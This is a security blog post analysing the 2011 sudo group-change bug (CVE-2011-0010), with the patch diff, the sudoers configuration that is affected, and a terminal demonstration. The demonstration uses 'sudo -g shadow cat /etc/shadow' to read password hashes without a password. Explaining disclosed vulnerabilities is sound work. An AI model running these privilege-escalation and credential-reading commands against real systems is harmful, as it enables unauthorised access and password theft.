Cатсн²² (in)sесuяitу / ChrisJohnRiley

I noticed this bug come across the wire earlier today and thought I’d take a few minutes to take a look. There’s been a few bugs in sudo recently, so I thought it was about time I invested a few minutes to see what they’re all about. After all you can never be too sure when these kind of things are going to come in useful 😉

The text of the advisory and source code changes (HERE) make it pretty simple to see what the issue is.

Code diff

--- a/check.c	Mon Jan 10 10:28:59 2011 -0500
+++ b/check.c	Tue Jan 11 10:33:39 2011 -0500
@@ -120,7 +120,13 @@
  if (ISSET(mode, MODE_INVALIDATE)) {
    SET(validated, FLAG_CHECK_USER);
    } else {
-   if (user_uid == 0 || user_uid == runas_pw->pw_uid || user_is_exempt())
+   /*
+    * Don't prompt for the root passwd or if the user is exempt.
+    * If the user is not changing uid/gid, no need for a password.
+    */
+   if (user_uid == 0 || (user_uid == runas_pw->pw_uid &&
+      (!runas_gr || user_in_group(sudo_user.pw, runas_gr->gr_name))) ||
+	user_is_exempt())
  	return;
      }

It looks to my untrained eyes that the addition of the -g (run command as another group) added to the 1.7.x branch doesn’t request a password from the user if the uid isn’t changing (i.e. no username provided at the sudo command line). This can obviously cause issues where a user who is in the sudoers file can change to another group and access files without providing a password.

However, and this is a big however, the exploitable configuration isn’t standard, at least with most stable systems. So it would require an edge case configuration of /etc/sudoers that allows uid as well as gid changes. Thanks to @timb_machine however he can confirm that at the very least the latest Debian testing is vulnerable to this bug in its default configuration.

Standard /etc/sudoers

root  ALL=(ALL) ALL

Edgecase /etc/sudoers

%sudo ALL=(ALL:ALL) ALL

In the edge case scenario the user account (or a user with membership to the sudo group) could run sudo with the -g option to access files/commands as any group on the system.

Example:

deb:/tmp/test# id
uid=0(root) gid=0(root) groups=0(root)
deb:/tmp/test# su testsudo
testsudo@deb:/tmp/test$id
uid=1001(testsudo) gid=1001(testsudo) groups=1001(testsudo)
testsudo@deb:/tmp/test$sudo -g root id
uid=1001(testsudo) gid=0(root) groups=1001(testsudo)

Using this bug to gain access to the system from here is pretty simple. Extracting the passwords from /etc/shadow seems like a good first step.

testsudo@deb:/tmp/test$id
uid=1001(testsudo) gid=1001(testsudo) groups=1001(testsudo)
testsudo@deb:cat /etc/shadow
cat: /etc/shadow: Permission Denied
testsudo@deb:sudo -g shadow cat /etc/shadow
root:$1$R4mDH$aOcFaA9.Dq6Ww2u3XmCfK/:14641:0:99999:7:::
..........

Although the use case for this kind of privilege escalation is quite small, it’s something worth keeping in mind for the future. Adding new functions to applications, like sudo, is always good, but can sometimes expose issues if security checks and balances don’t keep up with the curve in regards to new functions!

Happy Hacking!

Links:

• http://www.sudo.ws/sudo/alerts/runas_group_pw.html
• http://secunia.com/advisories/42886/
• CVE-2011-0010